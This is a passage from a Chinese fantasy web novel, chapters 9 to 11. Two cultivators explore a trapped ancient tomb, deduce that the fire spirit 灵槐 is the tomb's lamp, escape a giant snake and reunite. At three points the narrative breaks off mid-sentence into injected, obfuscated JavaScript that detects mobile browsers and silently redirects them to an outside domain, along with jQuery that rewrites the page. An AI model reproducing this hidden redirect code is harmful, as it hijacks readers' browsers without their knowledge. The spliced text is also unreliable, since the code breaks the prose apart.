“真是这样就好了……”殷烬翎将叶南扶的手臂抬高一些,让他手中的油灯举高些许,照亮了前面无穷无尽的阶梯,“但你又不是这个墓穴的建造者,哪知道人家怎么想的,说不准他现在让你掉以轻心,等下在某些关键之处突然又用幻术阵改变墓室内的形态。” 两人向下持续走了约莫有二刻钟,这阶梯却仿佛要通向地底深处般永无止境,而且越是往下越发阴冷,直令人遍体生寒,虽尚未出现什么异象,殷烬翎心中却颇有些忐忑不定,便寻思着说些话来缓解一下这阴森可怖的氛围。 “哎,老哥。”殷烬翎扯扯他袖子,“无生界究竟是什么样的?” “无生界神魔不两立,并不像你们仙妖人界这样可随意互通。我住在魔界,因此对神界所知也不多。” 魔界? 传闻中的魔界,是个战火不绝、强者为尊的乱世,因此以魔界为背景的画本子,那真是不计其数。殷烬翎有段时间特别爱看关于魔君的野史画本,那些野史真是一个赛一个野,什么魔君和同门师兄弟分道扬镳相爱相杀啊,什么魔君一夜之间修为尽失东躲西藏却被昔日对手收留啊。 “魔君是什么模样,是魔界最厉害的嘛?”殷烬翎好奇道。 “姑且算是吧,毕竟规矩是打败前代魔君就能成为新君,但魔界却并不是魔君说了算的。”叶南扶道,“整个魔界的土地,被三大家族分为三块,他们在各自掌控的领地上,就是至高无上的领主。这千万年来,历代魔君皆是出自三大家族,无一例外。” 殷烬翎脑中不由浮现出从前看的那些个“三百年之期已到,恭迎魔君归来,三大家族皆俯首听令”的沙雕画本子。 不是,真有三大家族啊?原来那些沙雕画本里的内容居然是有根据的嘛?我一直以为那些作者都开局一支笔,内容全靠编的。 殷烬翎来了兴趣:“那你们现任魔君是怎么样的?是疯批美人还是病娇暴君,有没有什么早亡的白月光,或者清冷孤高的神界宿敌?” 叶南扶狠狠翻了个白眼。 碰了一鼻子灰的殷烬翎,尴尬地清了清嗓子:“那什么,画本看多了,别在意。” 再想多问几句魔界的事,叶南扶却不肯答话了。 这之后,无论她找什么话题,叶南扶也不再开口。 她不禁侧目望过去,只见他半边面孔掩在烛火照不到的阴影中,两人之间只余下诡异的沉默在这狭小绵长的空间里蔓延。 自从来到这荒山古墓,叶南扶就稍许有些不对劲,时常像这般沉默不语,虽说他先前也常常对她爱答不理,但与现在这沉闷的模样却截然不同。 不,真要说起来他的不寻常从宋家夜宴看到宋大公子那一刻就开始了,这个素来怕麻烦、无精打采、懒散怠惰的人,却主动前去套宋伯乔的话,又是自告奋勇替人诊治,又是赶来荒山找寻线索,这些奔波劳累的麻烦事,以她这几日来对他的了解,就不像是他会主动接下来的。 石阶终归是有底的,尽头出现了一座巨大得似乎能容纳三辆马车并排出入的拱门,玄铁制的门黢黑无比,远远看来简直是个拱形的洞口,门上的黑漆已经在漫长的岁月中剥脱了大半,门分两扇,中央有两个把环,与常见的虎狮之类的兽首门环不同,此处却像是个猫首,相当少见。 除此之外,触摸着门周围的石壁能感受到凹凸不平的花纹,殷烬翎举着叶南扶的袖子,令油灯的亮光朝向这里,就着光观察起来。 石壁上用篆书刻着两个大字,也已被侵蚀得看不出原貌了,殷烬翎仔细辨认了半天,才确定刻的是“岐阳”二字。 听起来像是个地名,可她行走人间已有五十余年,却从未听闻过这个地方。 叶南扶似乎对这些篆刻不是很感兴趣,抬起未被殷烬翎拽着的另一只手,就要去拉门上的门环。 殷烬翎见了,皱眉道:“你小心一点啊,别随便乱……” 话音未落,一侧门已经被他拉开了,露出了里面狭长幽暗的墓道。 殷烬翎见似乎没什么状况发生,便讪讪地闭了嘴。 然而一进入到墓道,她就发现了不对劲:“这个墓道的宽度明显与外头拱门不相符,那拱门少说有这两倍宽。” “嗯,看起来开那半边门会进到另一个不同的墓道里。” “我们要不要去开开看。”殷烬翎提议。 “喂,刚才是谁说小心点别随便乱拉的,现下怎的就不在乎了?” 殷烬翎撇撇嘴:“行呗,我也没那么好奇。” 况且即便去开了,两人也不可能分开两边走的。 沿着墓道一路往前,所幸并没有出现什么岔路,也没有发生什么不同寻常的怪事,这段路不长不短,很快到了底,这次的门与前边一般质地,古朴无华的门面上全无任何雕饰,却相当高大且厚重,似乎需要好几个结实的壮汉一齐用力才能推动。 原先听闻传言之恐怖还当这荒山古墓险象环生、诡异非常,一众探墓者皆有来无回,实乃人间险境,可如今一路行来,除了被最初那个幻术阵阻过一阻,便再无其他机关阵法,何况那幻术阵还只是个迷惑视线用来阻人进入的,而无杀伤之意,看起来建造这墓的人并无害人之心。 这么想着,殷烬翎胆子不免大了起来,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也不晓得这算不算得上好事,殷烬翎顿时不知道是该松了一口气还是该继续提着气。 就在她将目光从棺盖上移开扫向别处时,石棺后方地上一样东西吸引了她的注意,她蹲下去仔细一瞧,顿时只觉浑身汗毛倒竖。 那是一只覆满灰尘、早已发硬变黑得不成样子的冷馒头,其缺口处却有一排齐整的牙印,那牙印的犬齿尖锐异常,显然不会是人的,应当是某种兽类,尤其极像是…… 狗。 殷烬翎刚平复不久的心又剧烈地狂跳不止,脑中瞬间闪过无数种可怕的猜测,她当即站了起来,顾不得先前被嘲讽的气还没出,便声音发颤地开口叫叶南扶。 “叶南扶!” 惊颤不止的声音在空阔的墓室里回荡,交错出重重诡谲的回声又逐渐消弭无踪,却始终没有人回应。 刚刚还在身边一同查看石棺的叶南扶不见了。 9. 第 9 章 “叶南扶!” 殷烬翎不死心地又提高声音喊了一声,应和她的依然只有自己的回声,而她期待的那个玩世不恭的懒散声音,却仿佛被墓室周边的黑暗所吞噬了一般,毫无回应。 她的心差点从喉咙里跳出来,腿脚也有些发软,几乎要站不住,只得在石棺后方的石台柱上扶了一把,这才勉强稳住了身形。 先前叶南扶手里提着的油灯正静静立在石棺上,一如既往地发散着光亮,似乎什么也不曾发生。 殷烬翎吐出胸中一直提着的一口气,猛地深吸了几口丰沛馥郁的天地灵气,口中念了两句清心诀让自己略微清醒冷静一些。 看来是来荒山古墓探索的这一路上太过依赖叶南扶的能力了,顺风顺水,以至于他突然失踪后,慌得几乎不知所措。 想想自己从事除灵师一行近五十年,在遇到他之前几乎一直都是一个人独自解决各类灵异吊诡事件的,虽说这古墓着实邪得很,但在这之前也不是没遇到过类似邪门的境况。 下定决心后,她径直绕到棺椁另一侧,先前叶南扶站立之处,油灯就在她的手边,她低头仔细审视了一番,油灯没有任何磕碰和损伤,在淡红半透明的棺盖上立得端正笔直,显然是叶南扶自己放下的。 他或许是要查看棺身侧边什么地方,若是提着油灯俯下身来会令正在另一侧的她得不到亮光,便将油灯放置在棺盖顶上; 又或许是他要查看边上什么需要双手摸索的地方,提着油灯多有不便,故而放在此处。 由于油灯没有倒下熄灭、剧烈摇晃,或者远离她的所在使她视物不清,因此彼时正全副心思都在那个冷馒头上的殷烬翎,才没有注意到。 不,仔细想想叶南扶离开她的视线应当更早一些,是从她来到石棺边上,开始认真观察起它的材质开始。 但既然这盏灯尚且在此处,叶南扶消失前所在的方位应当是在这灯光能照到的这一圈范围内,而不可能将油灯放在此处却一声不吭地跑去较远的黑暗之处。 等等,说到远处。 殷烬翎提起油灯向来时的那个门口走去,却赫然发现进来时那扇突然洞开将她吓了一跳的门,不知什么时候已经悄无声息地自动合上了。 她用力拉了拉,如来时一般毫无松动的迹象,她手里灵力流转,捏了个加持气力的法诀,又尝试了数下,依然无果。 她皱了皱眉,还是没敢尝试动手毁了这门,毕竟不知道会有什么后果,况且毁不毁得掉还难说。 她只好又走回石棺那边,将油灯放在棺盖上与先前一模一样的地方,然后蹲下来半跪在地上,一寸一寸地查看摸索着侧边的棺身。 古旧的墨曜岩上并无雕刻什么装饰的花纹和图案,光是其如墨般暗沉的漆黑色泽,便显得分外厚重古朴,它的边角打磨得十分考究,不得不说,这个棺椁做的相当精致,可以想见制作此石棺的人定是费了好一番心思。 侧边上什么也没发现,她便将手伸到棺底下摸索,石棺底下积攒了厚重的黑灰,像是尘封了有几百几千年。 抹开一层灰尘,她的指尖骤然触到了一个细长冰凉的事物,她下意识猛地一缩,但很快又再度探出手去将那东西拾了出来。 吹掉灰尘,借着光一瞧,竟是一枚纯银质地的女式发簪,上头坠着两朵白玉珠花,煞是精巧。 怎么会有这样的物件落在石棺底下?而且看起来似乎有些年头了。 她将银簪揣进袖子里,站起身来再度透过棺盖看向石棺内部。 这第二次相较于第一次心惊胆战的一瞥可要细致多了。 缺少尸体,甚至连白骨都没有,除了这点之外,棺内该有的陪葬品一样不少,一套齐整修长的男式玄色华袍,平铺在棺中,四边角上塞满了各式各样的玉石藏品,山水扇面,诗作墨宝等等风雅之物,看起来这墓主生前倒是个喜舞文弄墨,风骨卓绝之人。 她向石棺后方走了几步,来到高耸的石台柱前。 台柱自然没有石棺那般华美尊贵,就是一般的山岩砌成的,高约有一丈多,底座却只比大些的面盆口宽上那么一圈,且各处粗细不一,最细之处截面堪堪只有汤碗口大小,但不同粗细之间却曲线圆滑,整座石柱宛如一只巨大的烛台。 烛台?等等,好像听过有什么风俗是在停灵期间,于棺木头顶前点燃两盏长明灯,这么说这两个石台柱真是放明灯的烛台? 殷烬翎腾身一跃,来到烛台上方站定。 虽然积攒了厚厚的灰尘,但能看到不少燃烧过的痕迹,她俯身抹了一把台面,在手里捻了捻,将手又放到鼻尖嗅了嗅。 是万年松的松脂! 仙界有一株万年松,传说用它的树脂做成蜡烛,可燃烧万年不灭。 虽然殷烬翎没试过是不是真的能万年长存,但清霄山上天璇门前挂的两枚长明灯,其内胆也是用那松脂做的,据说从天璇门创立之初便在,已然过了上万年,当真从未灭过。 那么此处的长明灯又是为何会灭的? 她见烛台上再无其他,便翻身下来,去看向墓室中最后一样陈设,祭台。 相比石棺中的众多陪葬品,祭台上的可就简单多了。 一柄通体漆黑的剑直直地插在祭台的石缝中,剑鞘就搁置在一旁,虽则看着朴素暗沉,并不如有些神兵利器一般光鲜亮丽,但给人感觉便像是一把从前饮过万千鲜血、斩落无数首级的凶煞之剑。 一旁还有一幅捆起来的画卷,展开来一看,却是长长一幅绵延数千里的山河图,画工尤为细致,山川河流都颇为小巧,上边还框出了几处边界,看起来更像是一个国度的版图。这画卷纸已然发黄,边缘一圈还有画框留下的印子,像是从前曾装裱挂起来过,后来被取下来了。 这祭坛上的物件让殷烬翎对墓主的印象,从温文尔雅的书生墨客转为了戎马千里、血写诗篇的骁勇将军。 就在她打算离开去看看别处时,余光瞧见祭台角落里似乎被尘土裹着什么东西。 她拂开一些灰,见是一方被黑灰污染得不大看得出本来颜色的白绢,展开来一看,上头画了三个歪歪扭扭的勉强能看出来是小人的东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633932|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔触相当稚嫩,刚习绘画的稚童学徒大约也比这画得好。 又是一个与这里氛围格格不入又莫名其妙的物件,殷烬翎将之稍微抹干净一些,也收进了袖子里。 提高油灯向四周照了一圈,发现这个墓室如一些宫殿建筑一般,两侧有两个较小的耳室,虽心知叶南扶应该不可能去了那里,但还是得去看看有无什么线索。 她先往左边的耳室走去,谁知进门便是一堆骸骨,她猝不及防之下被吓了一跳,定了定神,仔细分辨了一下。 这些白骨约有二三十余人,几乎全是年富力强、身手矫健的青年男性,骸骨堆旁边还有堆得高高的许多包袱和工具,她虽没接触过这些实物,但其中一些在画本上还是看到过大致形状的,正是盗墓用的工具。 看起来,这些似乎都是折在这里的盗墓贼。 但是为何全堆在这小小的耳室之内,而外间空阔的墓室里,甚至更外头的墓道、阶梯上竟一具尸体都不曾看见,更何况这尸体和工具分开叠放成一堆的模样,真的很难让人相信是自然形成,更像是有人将尸体工具全都收拾起来堆放到这里。 还有一件比这更加匪夷所思的事,她可还没忘记,外头有个能将她的仙目都蒙骗过去的幻术阵。 以她的修为尚且需借助叶南扶的帮助才能进来,她可不觉得这些盗墓贼人均都是仙界大佬,也不认为这幻术阵精妙的设计会百密一疏,败在区区盗洞上,但这些盗墓贼又是为何会出现在这里。 不过这墓里谜团太多了,若是样样都要得出个答案来怕是要想到地老天荒。她便不再纠结于此,转身去看另一个耳室。 相较于前一个,这个耳室可要正常得多了,空空荡荡,只有一个一人宽的粗砺石台,与外间墓室陈设雕刻的细致程度完全不在一个水平上,不像出自那个被她叨念了很久的造墓者之手,那人在她想象中应当是一个龟毛又有点强迫症的人,不大可能做出这种连半成品都称不上的东西。 不过这倒是其次,真正引起她注意的,是石台角落里胡乱摆放着的两件女子衣物,以及墙上一些像是动物爪子刨过的白痕。 猛然间,她回想起之前在墓里见到的所有种种。 印有狗齿痕的半个硬冷馒头,石棺里的男子华服,祭台上凶煞的长剑,棺底下的珠花银簪,石台柱上熄灭的长明灯,耳室里堆叠放置的盗墓者尸骨,还有此处的女子衣物和爪印…… 甚至是突然出现在宋家的火婴,宋大公子离奇的梦境…… “火婴一般只会出现在佛寺祭坛、大型陵墓之类长年火气不绝的场所……” “她提及过从前养过一只小狗……” “她在牵着我的手慢慢地走……脚下的路崎岖不平……” “她手臂和前额的发丝都燃着火,她怀里抱着一只狗,一步一步向我走来……” “灵槐!” 脑中蓦地闪过一丝灵光,殷烬翎瞬间睁开了眼。 她抬首看向高耸的石台柱上那盏熄灭的长明灯。 或许她明白,灵槐究竟是何人了。 10. 第 10 章 首先这个古墓的主人显然是个男子,不论是棺中平铺的玄色华服长袍,还是祭台上古朴沉重的漆黑长剑,又或是别的一些陪葬品都表明了这一点,此外并没有看到过别的棺椁,也就是说该墓大概率仅葬着他一人。 但是落在棺下的珠花银簪和右侧耳室内女子衣物,说明这里有女子来过,甚至可能在此生活过。然而那一众盗墓者皆俱是青年男子,她不可能是与盗墓者一同来的,显然将他们的尸骨堆放起来的便是这个女子,也是这个墓里唯一的活人。 馒头上的牙印和墙上的爪印,证明这里有狗的存在,极有可能便是这女子所饲养,而依灵槐所言,她从前养过一只狗的。 灵槐是独身一人生活在山脚的小屋内,在宋大公子的描述中,那日他在山中迷雾阵里跌跌撞撞,尔后昏死过去,最后是灵槐在山脚下捡到宋大公子并将他救起的,那么他是如何下到山脚的? 如果说,梦境中的那些其实不是他胡思乱想的虚妄场景,而是他混混沌沌中的残片记忆呢? 是灵槐牵着他的手,一步一步将他领下荒山迷雾阵。而后一个梦境其实是他倒在地上,半死不活时,灵槐带着狗出来游荡或者巡视时看到了他,便顺手救了他。 梦中她的发丝手臂燃着火,并不是像宋大公子以为的那样,她死于大火化为了怨灵,而是灵槐,本就是火灵。 确切地说,是陵墓里那盏千万年经久不熄的长明灯化生出的火灵,也因此那不灭的长明灯会无故熄灭。 其实灵槐这个名字就已经道出了很多。 拆分开来,山火生于鬼木,山是荒山,火是长明灯火,载鬼之木自然便是棺。 只不过现在,她恐怕已被不知何人所害,看起来变成了灵智未开的模样。 不过这还只是她的一个猜测,不一定就是真相,若要证明灵槐便是火婴,还需更进一步的证据,但倘若这一点得到证实,许多谜团就会迎刃而解了。 然而眼下最当务之急还是找到突然失踪的叶南扶。 殷烬翎提着油灯绕着整个空阔的墓室走了一圈,企图寻找别的密道或出口,只不过密道是没有,倒还真让她发现了一个门,与先前来时进入的门简直一模一样,要不是方位不对,她几乎以为这便是进来的门了。 会不会是刚刚这扇门开了,叶南扶就打算走进去看一眼,结果门突然关了,把他关在了里面? 这么想着,她用力拍打了几下门,高声唤着叶南扶。 门的那头传来些许动静,她便又高呼了几声,但这次却是一片沉寂,没有任何回应。 怕听不真切,她便将耳朵贴到门上,只听得那边传来细微的沙沙响声,有些像是长靴在沙石地上拖行的声音。 会是叶南扶吗? 她这么想着便在门边上摸了一圈,想寻下是否存在什么开门的机关,不过以这造墓人之细致奸诈,显然不会将机关设在如此轻易之处。 果不其然,并未触到任何形似机关的活动石砖。 若当真是叶南扶,无论他是否有遇到危险,都必须尽快与他汇合,将方才在此发现的诸多线索和推测与他探讨和求证一下;即便不是,自己如今算是被困于这墓室之中,总得找寻到出口脱身,再加上这里该搜的也全都翻了个遍,若要进一步搜寻线索,便只能进这道未知的门,不能回头。 殷烬翎沉吟了片刻,既然找不到机关,便强力突破试试吧。 思至此,她从袖里乾坤中取出一柄银光长剑。 这是她的佩剑,没有名字,当初师门统一发的,下山后她也没钱去置办个好的,就一直凑活着用到现在。 手腕一翻,灵力自手心流淌而下,如灵蛇般围绕着长剑的剑刃盘旋而下,剑尖充盈着华美的灵光变得莹润无比,她手一抬,三尺青锋直指铁门,随着一声轻叱,挥手一劈,灵光随即暴涨三分,一道夺目怒芒直朝铁门电射而去。 然而这奋力一击虽有些许撼动铁门,灵力却如同泥牛入海一般毫无声息,接着门周亮起一个鲜红的轮廓,她只觉得一股巨力向她袭来,勉强稳住身形的同时,长剑却脱手而出,往后抛飞出去,并没有剑落地特有的清脆声,只听得“咔啦”一声轻响,长剑似乎卡在了什么东西里面,正在她欲将剑收回来之时,紧接着如同前次一般,门毫无征兆地便开启了。 她呆立在原地看着大开的门不由心情复杂。 现在看来,她强力没能突破,倒是剑飞出去阴差阳错地触到了某处的机关。 门外是如同来时一模一样的墓道,她几乎要怀疑这开的是不是原先那个门,但随即有点明白过来,这莫非便是来时那扇拱门另一侧的路? 她手中灵光一现,将长剑飞回到手里,谁知没了长剑卡住机关门竟开始合拢,她连忙纵身一跃,堪堪抢在关门之前进了墓道。 墓道里悄无声息,漆黑而狭长的空间里只有自己的呼吸在沉凝,连她方才隔着门听到的那些声响都不可闻及。 她谨慎地横剑挡在身前,慢慢地小步向前挪。 说实在,没了叶南扶在身侧,她一度怀疑这墓道是否的确是自己眼中这模样,所以再慎重也不为过。 这墓道很快便证明了它与之前来时那通道不一样,并不是个善茬,也所幸她在前行时目光不断地左右游移,眼梢掠过之时一丝微小的银芒被她所摄,当即反手将长剑一挡,拦下三枚极精细的银针。 未等她拾起来仔细审视,后方又有尖锐细物破空之声传来,她不待转身,直接手一翻握着剑柄从肩头背到身后,截下一枚长钉。 但这才只是个开始,紧接着无数各式各样的暗器源源不断地从四面八方包绕而来,她当即咬破指尖,并指在剑身上一划,顿时剑芒大张,灵力在身周撑开一个圆形结界,将从外袭来的一众暗器机关尽数拦截下来,结界相当牢固,暂时不用担心被突破。 然而还未等她稍微松上一口气,墓道前方的黑暗尽头传来令人头皮发麻的“沙沙”声响,原先隔着一扇门还并不觉得如何,如今近距离清晰地听到这响声,还是在被绵绵不绝的暗器围困在结界里时,这声音简直如同催命符一般刺激着她紧绷的神经。 她抬眼一看,顿时只觉浑身的血液都从头顶倒流回了各处,她嘴唇翕动,却颤抖地一个字都发不出来,双腿仿佛钉在了地上,连半分都移动不了。 那是一条通体青色闪着些许紫黑斑纹的长蛇,大张着的血口几乎能吞下她的头颅,獠牙正悬在她头顶上方不到五寸之处,粘稠的涎沫悉数滴落流淌在结界上,口中的腥臭热气简直要拂到她脸上。 它方才从蛰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她猛然想起来,那墓室里的石棺棺盖不就是这颜色的嘛?!而且这种使不上力的虚弱感觉,像是生命力被抽取了一般。 这东西,莫非竟能吸取生命力? 现在当如何,把灵力结界一点点往后撤,离开这一片地面? 不对,万一往后的地方也都是同样的,那不等于白白耗费所剩不多的体力?而且现在此处其实还算位置不错,相当一部分暗器的角度其实够不到这里,并不是所有暗器都需要结界拦截,若是转移位置可就不一定了,要抵挡更多的暗器攻击,灵力结界也不知撑不撑得住,况且…… 她微微抬眼,只扫了一眼巨蛇便又心惊肉跳起来。 还有这个东西在,转移也得花好大一番劲。那就带着结界跳起来先将这蛇解决掉?不不,打不过的,太可怕了。 发自骨髓深处的恐惧,让她根本没有勇气与蛇对抗。 她脑中极速飞转,数个方法逐一被她否定,一时竟无计可施。 随着生命力被不断吸走,眼见着灵力结界越来越弱,看上去一击即散,面前的巨蛇微微后退一点,蓄势着最后一击,只待冲过来一口将灵力结界咬碎。 她狠狠攥紧了手中长剑,悄悄将姿势调整为半跪,打算在巨蛇冲破结界的一瞬间,借势一剑穿进它上颌。 她目光一瞬不瞬地直盯着巨蛇的一举一动,一时竟忘了恐惧,眼看着巨蛇将蛇首一缩,这是蛇发起进攻前的预兆。 来了!她心中一凛,剑尖微微一动便要刺出搏命一击。 而就在此刻,她突觉脚下一空,整个人便失衡直直往下坠,她目光向上抛去,只见扑了个空的巨蛇盘在原地怒吼鬼叫不止。 接着她便向下坠入了一个怀抱,还未待她抬起头,便听怀抱的主人嗤笑道:“哟,还怕蛇,果然是小麻雀。” 11. 第 11 章 听见这戏谑的声音,自从这人突然消失在墓室后,殷烬翎一直悬着的一颗心总算落回了地,但随即反应过来他说了什么,又气得直咬牙,一把挣开他的手臂,落到地上。 谁知刚站定便一阵天旋地转,身子不由一歪,伸手连忙拉住叶南扶的袖子才免于摔倒,她一手扶住额头,皱着眉用力喘了几口气,使劲揉了两下太阳穴,也不见丝毫好转。 她正待再去捏眉心之时,从旁伸来一只手,牢牢抓住了她的手,手心处传来源源不断的暖流,她只觉有一股清冽甘甜的芳草香味在鼻端萦绕不去,令她有种宁静恬淡,仿佛身陷黑甜梦乡的错觉。 待她稍稍清醒一些,睁开眼见叶南扶正扣着她的手,便不安地动了两下想抽出来,却听得叶南扶认真严肃的一句“别动”。 她顿时不敢动了,但又忍不住在心底里想:瞧这出息,做什么要这么听他的啊。 片刻后,叶南扶将她的手放下,挑眉道:“好了,你动吧。” 殷烬翎活动着因紧张而有些僵硬的手腕,疑惑道:“刚才是……?” 叶南扶正色道:“揩油。” 殷烬翎提起剑:“看着我手里的东西,允许你再组织一下语言。” 叶南扶撇撇嘴,不大情愿地承认道:“那玩意儿不是吸了你生命力么,给你补一点。” “哦……” 殷烬翎一时有些不知道说什么,心里直骂自己追问什么劲儿,就当揩油不就好了,也不至于像现在这样哑口无言。 但是沉默实在是太尴尬了,她对尴尬真的毫无还手之力,只得强行挤出一些话来:“那什么,怎么补的……?”说完这句她又直想给自己来上一巴掌,这问的什么狗屁问题。 “啊……”叶南扶似乎也没想到她还会这么问,思考着措辞,眼睛瞟着别处,道,“乘黄不是,与天同寿,生命力多得用不完么……就,给你一点……” “哦……哎,等等。”殷烬翎突然想起一茬来,“你给宋大公子治病不会也是……” “才不是,你别瞎猜!”叶南扶顿时跳脚了,“我的医术天地间绝无仅有,声震六界,绝不能容忍这样的诋毁!” 殷烬翎笑眯眯地看着他:“好好,我知道了。” “忘恩负义的小麻雀,早知道就不多管闲事,让你被蛇叼走得了。”叶南扶扭过头,翻翻白眼。 “说起这个,你是怎么知道我在上面遇险的?” 叶南扶指指上方:“你自己看。” 殷烬翎抬头看向顶上,一片漆黑的石壁中央有一小片醒目的淡红色半透明石砖在微微发亮,依稀还能透过石砖看到上方焦躁地游弋而过的巨蛇。 “顶上这一片石壁……全是这种会吸食生命力的石头嘛?” “试试不就知道了。” 叶南扶说罢,疾走几步一脚踏在旁边一个石台上,整个身子高高腾空跃起,一手探出按在石壁顶上,随即向后一翻,稳稳地落在地面。 此时顶上三三五五地陆续亮起多块石砖,接着由漆黑转为与前者一般无二的淡红半透明状,华美得宛如琉璃瓦般的淡红石块连成一片,在整个石壁幕布上画下一幅盛世繁华图。 画中的山河明净秀丽,街市喧闹非凡,人物往来繁忙,画面正中间有三个渺小却清晰的少年,正肩并肩仰着头,一同望向天边升起的一轮朝阳。 画面右侧还题着一句诗:野蔓有情萦战骨,残阳何意照空城。 这当真是最壮阔美丽的景致,却也是最危险狡诈的陷阱。 “这也……太美了吧。” 殷烬翎被这无比震撼的一幕深深摄住了目光,久久不能移开,喃喃道:“也不知这造墓者是怎样一个风流人物……” 看她仰头端详着石壁上画作魂不守舍的样子,叶南扶不禁笑了笑,伸手拉拉她,道:“好了别看了,快走吧。” “嗯嗯……”殷烬翎含糊不清地应了声,跟着叶南扶走了几步,又忍不住回头最后看了一眼。 这片仿若荒野星空一般璀璨烂漫的壁画,将永远埋葬在这暗无天日的荒山古墓之中,即便再有后人来,也再无如叶南扶一般可肆意挥霍生命力将它完全显现出来的人了,只能是被它惑得丢了性命,如此惊世美景却沦为绝响,实在有些可惜。她不由如是想。 叶南扶显然并不是个意趣风雅之人,对此毫无留恋和惋惜之情,头也不回地走出了这一间石室。 出了石室,面前又是昏暗又狭长的墓道,说实话,到这里殷烬翎已经完全搞不清身处何处、入口又在哪个方位了,不过看着叶南扶提着灯盏一脸淡然自若地走在前头,他应当是知道该如何走出去的吧。 谁知这次的墓道竟不似前两次般笔直,而在半途分了岔,两人来到一个岔路口。殷烬翎左右望了望,便将期待的目光投向了叶南扶,不料叶南扶也正一脸期待地看向她。 两人面面相觑了半晌,殷烬翎呲牙咧嘴道:“你不知道路为什么还走得这么胸有成竹?” “你不出声纠正,我还当我走得没错。”叶南扶怒目圆睁。 两人不约而同地沉默。 “你先前怎么突然从墓室里消失的?”殷烬翎突然问道。 “那棺椁侧边的墙上有个密道,我不知道按了什么地方,那小一块石壁便翻转了个儿,就被卷进里面了关着了,然后我就顺着墓道走下阶梯,来到先前那个石室,正在查探之时发觉顶上一小片石壁发光变了色,看到了你在上方遇险,便找了一圈机关,结果发现那顶上几乎每块石砖都是能打开的。” “啊?全是机关?”殷烬翎想到自己踏在那样一条布满机关陷阱的墓道里那么久,不由有些头皮发麻。 “没错,我猜可能是为了作那幅画时方便才如此设计的。” “对了,我在先前那间墓室里发现了一些东西。”殷烬翎将发现的线索和自己的推测说与叶南扶听。 叶南扶闻言静默了片刻,道:“你还记不记得,宋家夜宴那时,宋大公子出现之后,我对他颇多关注,而且还威逼大公子,说他病弱之躯却非要出席是为看那火婴。” 殷烬翎点头,对于叶南扶看到宋大公子那刻起,便出现的种种反常举动,她先前不解,乃至现下仍旧颇为疑惑。 “其实在宴会之前,我把火婴——或者应当说灵槐——藏在了袖里乾坤之中。宋大公子进来那一刻,原本十分安静的她,突然间在我袖子里闹腾了两下。” “!”殷烬翎惊愕地抬起头望着他,“也就是说……” “火婴即是灵槐,这点已经毋庸置疑了。” 殷烬翎颇有些欣喜地拍了下手:“好啊,这样一来,有人说的那些听着似乎很合理的话就漏洞百出了。” “先别高兴得太早,我们怎么从这里出去还是个问题。”叶南扶给她兜头泼了一盆冷水。 殷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651526|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烬翎叹了口气,习惯性地伸手拽住了叶南扶的袖子,叶南扶嘴角几不可见地微微一扬,连他自己都未曾察觉到。 “不过……你无缘无故将火婴揣在袖子里做什么?” 叶南扶脊背僵了僵,眼神有些闪烁,道:“宴会上宋府所有人都会出席,我想着有机会便用火婴试探一下。” 殷烬翎赞同地点点头:“还好你带了去,这才试出了宋大公子来。” 叶南扶微不可查地松了口气。 “你决定吧。”将目光重新投向前方的岔路,殷烬翎开口道,“我有严重的选择困难。” “要不然抛铜钱吧,正面左反面右。”叶南扶不知从哪里掏出一枚铜钱,在指尖一弹一盖,“左边。” 两人于是选择了左侧的路,沿着狭小的墓道一直走,一片寂静之中,唯有呼吸与脚步在冗长的黑暗中回荡。 “你不害怕嘛?”殷烬翎忽然出声。 见叶南扶朝自己看来,她忙解释道:“不,我不是指这古墓,我是说,你长久以来都宅在家中,没怎么出过门,现在却孤身一人,突然被带到一个全然陌生的地方,还不知道该如何回去。”殷烬翎微微垂了眼,“我代入自己想了想,只觉得十分恐惧,你难道不害怕嘛?” “你怎么知道,我没有不安呢?” 他的声音很低很低,低到大概只有自己能依稀闻及,但周围很静、墓道很窄、殷烬翎离得很近,所以她听到了。 她拍拍他肩膀:“没关系的,我们一起找出路,不管是这座古墓,还是回无生界的路。” 沉默良久,他突然开口道:“我若是知道呢。” “啊?” “如何去无生界。” 殷烬翎瞪大了眼:“你知道?怎么不早说,我还当真苦恼了挺久的。” 她目光撇向别处,有些别扭地道:“那什么,毕竟是我把你带到这里来的,总要负责将你平安无虞地送回家去吧。” 叶南扶忽然转首看向她,深邃的黑眸里蕴着些许晦暗不明的幽光,如同深渊底下蛰伏着鳞甲微敛的巨龙,和吞天噬月的黑夜里堪堪充作光源的微弱星子。 殷烬翎被他这意味不明的目光看得有些不舒服,烦躁地挠了挠头,又觉得这微妙的气氛令她浑身不自在,连忙推了叶南扶一把,快步往前走去:“好了好了,快走了。” 叶南扶也不再言语,低头微微弯了弯唇角,忙跟上殷烬翎的步伐。 